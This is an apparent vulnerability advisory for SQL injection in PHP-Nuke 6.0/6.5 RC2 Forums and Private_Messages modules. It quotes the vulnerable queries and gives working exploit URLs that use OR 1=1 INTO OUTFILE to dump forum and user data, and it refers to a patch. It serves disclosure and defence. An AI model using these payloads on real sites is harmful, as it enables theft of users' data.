Informations :
°°°°°°°°°°°°°°
Language : PHP
Website : http://www.phpnuke.org
Version : 6.0 & 6.5 RC2
Modules : Forums, Private_Messages
Problem : SQL Injection


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
/modules/Forums/viewtopic.php :

------------------------------------------------------------------------
$sql = "SELECT forum_type, forum_id, forum_pass, forum_name, forum_access, 
forum_moderator, forum_atch FROM ${prefix}_forums WHERE forum_id = 
'$forum'";
------------------------------------------------------------------------

/modules/Forums/viewforum.php :

------------------------------------------------------------------------
$sql = "SELECT f.forum_id, f.forum_type, f.forum_pass, f.forum_name, 
u.uname, u.uid,m.forum_id,m.user_id FROM
${prefix}_forums f, ".$user_prefix."_users u, ${prefix}_forum_mods m
WHERE f.forum_id = '$forum' AND m.forum_id = '$forum' AND m.user_id = 
u.uid";
------------------------------------------------------------------------

/modules/Forums/reply.php :
------------------------------------------------------------------------
$sql = "SELECT forum_name, forum_access, forum_moderator, forum_atch FROM 
${prefix}_forums WHERE (forum_id = '$forum')";
------------------------------------------------------------------------

/modules/Forums/newtopic.php :
------------------------------------------------------------------------
$sql = "SELECT forum_type, forum_pass, forum_name, forum_access, 
forum_moderator, forum_atch FROM ${prefix}_forums WHERE (forum_id = 
'$forum')";
------------------------------------------------------------------------


/modules/Forums/editpost.php :
------------------------------------------------------------------------$sql 
= "SELECT forum_name, forum_access, forum_moderator, forum_atch FROM 
${prefix}_forums WHERE forum_id = '$forum'";
------------------------------------------------------------------------

/modules/Private_Messages/reply.php :
------------------------------------------------------------------------
if ($reply || $send) {

    if ($uname != "") {
  $res = sql_num_rows(sql_query("select * from ".$user_prefix."_users where 
uname='$uname'", $dbi), $dbi);
------------------------------------------------------------------------



Exploits :
°°°°°°°°°°
- This will save forums informations into a txt file :
http://[target]/modules.php?op=modload&name=Forums&file=viewtopic&topic=1&forum=1'%20INTO%20OUTFILE%20'[path/to/site]/vt.txt
http://[target]/modules.php?op=modload&name=Forums&file=viewforum&forum='%20OR%201=1%20INTO%20OUTFILE%20'[/path]/vf.txt'/*
http://[target]/modules.php?op=modload&name=Forums&file=reply&forum=1')%20INTO%20OUTFILE%20'[/path]/reply.txt'/*
http://[target]/modules.php?op=modload&name=Forums&file=newtopic&forum=1')%20INTO%20OUTFILE%20'[/path]/newtopic.txt'/*

http://[target]/modules.php?op=modload&name=Forums&file=editpost&forum=1'%20INTO%20OUTFILE%20'[/path]/editpost.txt

etc...



- This will save all users informations into a txt file :

http://[target]/modules.php?name=Private_Messages&file=reply&send=1&uname='%20OR%201=1%20INTO%20OUTFILE%20'[/path]/users.txt



Patch :
°°°°°°°
A patch can be found on http://www.phpsecure.info




More Details In French :
°°°°°°°°°°°°°°°°°°°°°°°°
http://www.frog-man.org/tutos/PHP-Nuke6.0-Forums-Private_Messages.txt


frog-m@n